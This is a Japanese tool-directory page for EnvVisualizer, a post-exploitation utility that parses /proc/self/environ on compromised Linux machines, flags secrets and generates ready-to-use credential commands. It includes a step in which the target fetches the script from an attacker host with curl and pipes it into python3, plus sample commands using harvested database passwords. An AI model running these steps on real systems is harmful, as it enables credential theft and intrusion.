Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
EnvVisualizer — 侵害されたLinuxマシン上の `/proc/self/environ` を解析・可視化 — 環境変数を技術スタック(AWS、Django、Rails、NodeJS、MySQL、K8s、Dockerなど…)ごとに分類し、すぐに実行可能なコマンドを添えた重大度評価付きのインサイトを生成します | Kitploit
ツール/GitHubGitHub/w4r10ck423/envvisualizer
防御ツール脆弱性分析構成監査情報収集ポストエクスプロイトCTFペネトレーションテストクラウドセキュリティシークレット検出レッドチーミング
GitHubw4r10ck423/envvisualizer

EnvVisualizer

444ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

侵害されたLinuxマシン上の `/proc/self/environ` を解析・可視化 — 環境変数を技術スタック(AWS、Django、Rails、NodeJS、MySQL、K8s、Dockerなど…)ごとに分類し、すぐに実行可能なコマンドを添えた重大度評価付きのインサイトを生成します

リポジトリを見る

EnvVisualizer

root@kitploit:~
___________           ____   ____.__                    .__  .__                     
\_   _____/ _______  _\   \ /   /|__| ________ _______  |  | |__|_______ ___________ 
 |    __)_ /    \  \/ /\   Y   / |  |/  ___/  |  \__  \ |  | |  \___   // __ \_  __ \
 |        \   |  \   /  \     /  |  |\___ \|  |  // __ \|  |_|  |/    /\  ___/|  | \/
/_______  /___|  /\_/    \___/   |__/____  >____/(____  /____/__/_____ \\___  >__|   
        \/     \/                        \/           \/              \/    \/       

侵害された Linux マシン上で /proc/self/environ を解析、分類、可視化します。
融合した環境変数の壁を、構造化された色分けされたインテリジェンスに数秒で変換します。


Python Platform License Context Author

作者: @W4r10ck423


問題点

マシンに侵入して /proc/self/environ を読むと、次のようになります:

root@kitploit:~
USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi

EnvVisualizer はそれを次のように変換します:

root@kitploit:~
============================================================================
  EnvVisualizer — /proc/self/environ  (32 variables)
============================================================================

── Identity  (4) ───────────────────────────────────────────────────────────
  HOME                                 /home/dev
  LOGNAME                              dev
  SHELL                                /bin/bash
  USER                                 dev

── Paths & Dirs  (10) ──────────────────────────────────────────────────────
  PATH
      • /home/dev/projects/store1/node_modules/.bin
      • /home/dev/projects/node_modules/.bin
      • /usr/local/sbin
      • /usr/local/bin
      • /usr/sbin
      • /usr/bin
      • /sbin
      • /bin
      • /snap/bin
  PWD                                  /home/dev/projects/store1
  npm_config_cache                     /home/dev/.npm
  npm_execpath                         /usr/share/nodejs/npm/bin/npm-cli.js

── NPM / Node  (12) ────────────────────────────────────────────────────────
  NODE                                 /usr/bin/node
  npm_command                          run-script
  npm_config_user_agent                npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
  npm_lifecycle_script                 nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  npm_package_json                     /home/dev/projects/store1/package.json

── System  (6) ─────────────────────────────────────────────────────────────
  COLOR                                0
  EDITOR                               vi
  INVOCATION_ID                        abc0ab20c7dd498792d8be51c591071a
  JOURNAL_STREAM                       8:6005
  LANG                                 C.UTF-8
  SYSTEMD_EXEC_PID                     881

── Pentest Insights ────────────────────────────────────────────────────────
  ▶  Node.js debugger exposed → 127.0.0.1:9229  (try: node-inspector / chrome://inspect)
  ▶  Home dir: /home/dev
  ▶  Shell: /bin/bash
  ▶  npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  ▶  npm_lifecycle_event = watch

rich がインストールされている場合、各カテゴリは独自の色分けされたテーブルになります。


機能

  • 3 つの入力モード — ファイルを直接読み取る (完璧な精度)、stdin 経由でパイプ、または生の文字列を貼り付け
  • スマートな 2 クラスパーサー — コピー&ペーストで null バイトが削除された連結文字列を正しく処理; 大文字の POSIX 変数と既知の小文字プレフィックス変数 (npm_*、node_*、pip_* など) を検出
  • 6 つのセマンティックカテゴリ — Security/Auth、Identity、Paths & Dirs、NPM/Node、Network/Proxy、System、その他
  • PATH 展開 — 各ディレクトリをコロン区切りの壁ではなく箇条書きとして表示
  • シークレット検出 — 名前または値が資格情報パターン (TOKEN、KEY、SECRET、PASSWORD など) に一致する変数を ⚠ 警告付きでフラグ
  • Pentest Insights パネル — 実行可能な発見事項を自動的に表面化: root コンテキスト、sudo 昇格、公開された Node.js デバッガーポート、アクティブなライフサイクルスクリプト
  • リッチまたはプレーン — rich がインストールされている場合は色分けされたテーブル; フォールバックとしてクリーンなプレーンテキスト出力 (依存関係ゼロ)

インストール

オプション 1 — クローンして実行 (ペンテスト環境に推奨)

root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich          # optional but recommended
python3 envvisualizer.py --help

オプション 2 — システムコマンドとしてインストール

root@kitploit:~
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help

オプション 3 — 単一ファイルのドロップ (git 不要)

envvisualizer.py をターゲットまたは攻撃者マシンにコピーします。依存関係ゼロで実行されます:

root@kitploit:~
# On the attacker machine — host it
python3 -m http.server 8080

# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ

要件

依存関係バージョン必須
Python≥ 3.8はい
rich≥ 13.0いいえ (プレーンテキストフォールバック)

使用方法

root@kitploit:~
usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]

options:
  -h, --help            show this help message and exit
  -f PATH, --file PATH  Environ file path (null-byte delimited)
  -r STRING, --raw STRING
                        Raw concatenated environ string (copy-pasted, no null bytes)
  --no-rich             Force plain-text output

入力モード

ヒント: ファイルアクセスがある場合は常に -f を優先してください。
実際のファイル内の null バイト区切り文字は正確です — ヒューリスティックは不要です。


例

proc から直接読み取る (最高精度)

root@kitploit:~
# Current process
python3 envvisualizer.py -f /proc/self/environ

# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ

# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ

stdin 経由でパイプ

root@kitploit:~
cat /proc/self/environ | python3 envvisualizer.py

生の文字列を貼り付け (Web シェル / RCE 出力からコピー&ペースト)

root@kitploit:~
python3 envvisualizer.py -r 'USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 ...'

プレーンテキスト出力 (rich 依存関係なし)

root@kitploit:~
python3 envvisualizer.py -f /proc/self/environ --no-rich

出力カテゴリ

変数は 12 のカテゴリにグループ化され、優先順位順に評価されます (最初の一致が優先)。


Pentest Insights

Pentest Insights パネルは、4 つの重大度レベルで的を絞ったスタック対応の検出を発火します。
実行可能なコマンドは、環境内で見つかった実際の値からオンザフライで生成されます。

技術スタック別の検出

出力例 (マルチスタックシナリオ)

root@kitploit:~
── Pentest Insights ─────────────────────────────────────────────────────────
  [!!!]  PostgreSQL password in env → psql postgresql://appuser:[email protected]:5432/production_db
  [!!!]  DATABASE_URL contains embedded credentials → postgresql://admin:[email protected]:5432/maindb
  [!!!]  MongoDB root credentials in env → mongosh -u admin -p 'mongoS3cret'
  [!!!]  AWS long-term credentials → KEY=AKIAIOSFODNN7EXAMPLE  (run: aws sts get-caller-identity)
  [!!!]  HashiCorp Vault token in env → vault token lookup  addr: http://vault.internal:8200
  [!!!]  Stripe LIVE secret key — production payment API access
  [!!!]  Rails master key in env — decrypts config/credentials.yml.enc
  [!! ]  Redis auth → redis-cli -h redis.internal -p 6379 -a 'r3disP@ss'
  [!! ]  Inside Kubernetes pod → service host: 10.96.0.1
  [!! ]  GitHub token in env → curl -H 'Authorization: token $GITHUB_TOKEN' ...
  [!! ]  Django DEBUG=True — full stack traces served to users
  [!! ]  JVM remote debugging enabled → -agentlib:jdwp=...  (try: jdb -attach <host>:<port>)
  [ * ]  Python venv active → /var/www/myapp/.venv

文字列パーサーの仕組み

/proc/self/environ がコピー&ペーストされると (例: Web シェルまたは curl 出力から)、null バイトが削除され、隣接する変数が融合します:

root@kitploit:~
USER=dev·npm_config_user_agent=npm/8.5.1...
     ↑──↑↑───────────────────↑
   value    next key starts here

単純な WORD= 分割では、キーとして devnpm_config_user_agent が生成されます。

EnvVisualizer は 2 クラス境界検出器 を使用し、以下の場合のみ分割します:

  1. 大文字優位のキー — USER、HOME、JOURNAL_STREAM など
  2. 既知の小文字プレフィックス — npm_*、node_*、pip_*、java_*、python_*、ruby_* など

正規表現が融合トークン 内 で npm_config_user_agent を見つけるため、前の値は自動的に dev にトリミングされます。ルックビハインドも単語境界の仮定も不要 — キーパターン自体がアンカーとして機能します。


ライセンス

MIT — 自由に使用してください。帰属表示をいただければ幸いです。

ツールをダウンロード
方法コマンド精度
直接ファイル読み取りpython3 envvisualizer.py -f /proc/self/environ✅ 完璧 (null バイト分割)
Stdin パイプcat /proc/self/environ | python3 envvisualizer.py✅ 完璧 (null バイト分割)
貼り付けた文字列python3 envvisualizer.py -r 'USER=dev...'✅ 良好 (2 クラスヒューリスティック)
引数なし (デモ)python3 envvisualizer.py✅ 完璧 (自身のプロセス)
カテゴリ一般的な変数
🔐 Security / AuthSSH_*、SUDO_*、TOKEN、KEY、SECRET、PASSWORD、CREDENTIAL、CERT に一致するもの
👤 IdentityUSER、LOGNAME、HOME、SHELL、UID、GID
🗄 DatabasePG*、MYSQL_*、MONGO*、REDIS_*、DATABASE_URL、DB_*、ELASTIC*、CASSANDRA_*、SQLALCHEMY_*
☁ Cloud / InfrastructureAWS_*、GOOGLE_*、AZURE_*、ARM_*、DOCKER_*、KUBERNETES_*、VAULT_*、TF_*、CLOUDFLARE_*
🔄 CI/CD & VCSGITHUB_*、GITLAB_*、CI_*、TRAVIS_*、CIRCLE*、JENKINS_*、HEROKU_*、BUILD_*
🔌 Third-party APIsSTRIPE_*、TWILIO_*、SENDGRID_*、SENTRY_*、DD_*、SLACK_*、OPENAI_*、ALGOLIA_*、AUTH0_*
🕸 Web FrameworksDJANGO_*、FLASK_*、RAILS_*、SPRING_*、ASPNETCORE_*、APP_KEY/ENV/DEBUG、SECRET_KEY_BASE、MIX_ENV、NEXT_*、VITE_*、REACT_APP_*
🐍 App RuntimesPYTHON*、CONDA_*、VIRTUAL_ENV、GEM_*、BUNDLE_*、JAVA_*、JVM_*、MAVEN_*、CATALINA_*、GO*、RUST*、CARGO_*、PHP_*、DOTNET_*、PERL*、DENO_*
📦 NPM / Nodenpm_*、NODE、NODE_ENV、NODE_OPTIONS
📂 Paths & DirsPATH、PWD、*_DIR、*_PREFIX、*_HOME、*_CACHE、INIT_CWD
🌐 Network / Proxy*_PROXY、HOSTNAME、SSL_CERT_*、CURL_CA_BUNDLE、*_URL、*_ADDR
⚙ SystemLANG、TERM、EDITOR、INVOCATION_ID、JOURNAL_STREAM、XDG_*、LC_*
Otherその他すべて、アルファベット順にソート
重大度プレフィックス意味
💀 CRITICAL[!!!]ライブ資格情報、シークレットキー、またはマスターキー — 即時の影響
⚠ HIGH[!! ]トークン、デバッグモード、または公開されたサービス — 実行可能な攻撃パス
→ MEDIUM[! ]昇格に役立つ可能性のある興味深い情報
▶ INFO[ * ]プロセスと環境に関する一般的なコンテキスト
スタック検出されるもの
PostgreSQLPGPASSWORD → psql postgresql://user:pass@host/db を自動構築
MySQL / MariaDBMYSQL_ROOT_PASSWORD / MYSQL_PASSWORD → mysql コマンドを自動構築
MongoDBMONGO_INITDB_ROOT_* → mongosh コマンドを自動構築
RedisREDIS_PASSWORD → redis-cli -a コマンドを自動構築
DB URLsDATABASE_URL、MONGODB_URI など → 埋め込まれた資格情報をフラグ
AWSキーペア → 長期または STS 一時としてフラグ、aws sts get-caller-identity を提案
GCPGOOGLE_APPLICATION_CREDENTIALS → gcloud auth activate-service-account を提案
AzureAZURE_CLIENT_SECRET → テナント ID をフラグ + az login --service-principal を提案
HashiCorp VaultVAULT_TOKEN + VAULT_ADDR → vault token lookup を提案
Kubernetes注入された KUBERNETES_SERVICE_HOST → ポッドコンテキストをフラグ、SA トークン読み取りを提案
DockerDOCKER_HOST 設定 → デーモン公開をフラグ
GitHub / GitLabトークン → API 検証 curl コマンドを提案
HerokuHEROKU_API_KEY → アプリ名付きでフラグ
Stripeライブ sk_live_* → CRITICAL; テスト sk_test_* → MEDIUM
DatadogDD_API_KEY → メトリクス/ログ/トレースアクセスをフラグ
SlackSLACK_BOT_TOKEN / SLACK_APP_TOKEN → ワークスペースアクセスをフラグ
OpenAIOPENAI_API_KEY → 請求露出をフラグ
DjangoDJANGO_DEBUG=True → スタックトレース露出をフラグ
FlaskFLASK_DEBUG=1 → Werkzeug インタラクティブデバッガー (PIN バイパス / SSTI) をフラグ
LaravelAPP_DEBUG=true + APP_KEY=base64:* → Cookie 偽造パスをフラグ
RailsRAILS_MASTER_KEY → CRITICAL (credentials.yml.enc を復号); SECRET_KEY_BASE → セッション Cookie 偽造
JVMjdwp を含む JAVA_TOOL_OPTIONS → リモートデバッグポートをフラグ、jdb -attach を提案
TomcatCATALINA_HOME → tomcat-users.xml へのパスをフラグ
Node.js--inspect / --inspect-brk → デバッガーをフラグ、chrome://inspect を提案
KerberosKRB5CCNAME → チケットキャッシュをフラグ、klist / Impacket を提案
SudoSUDO_USER → 昇格前の元の UID/GID を表示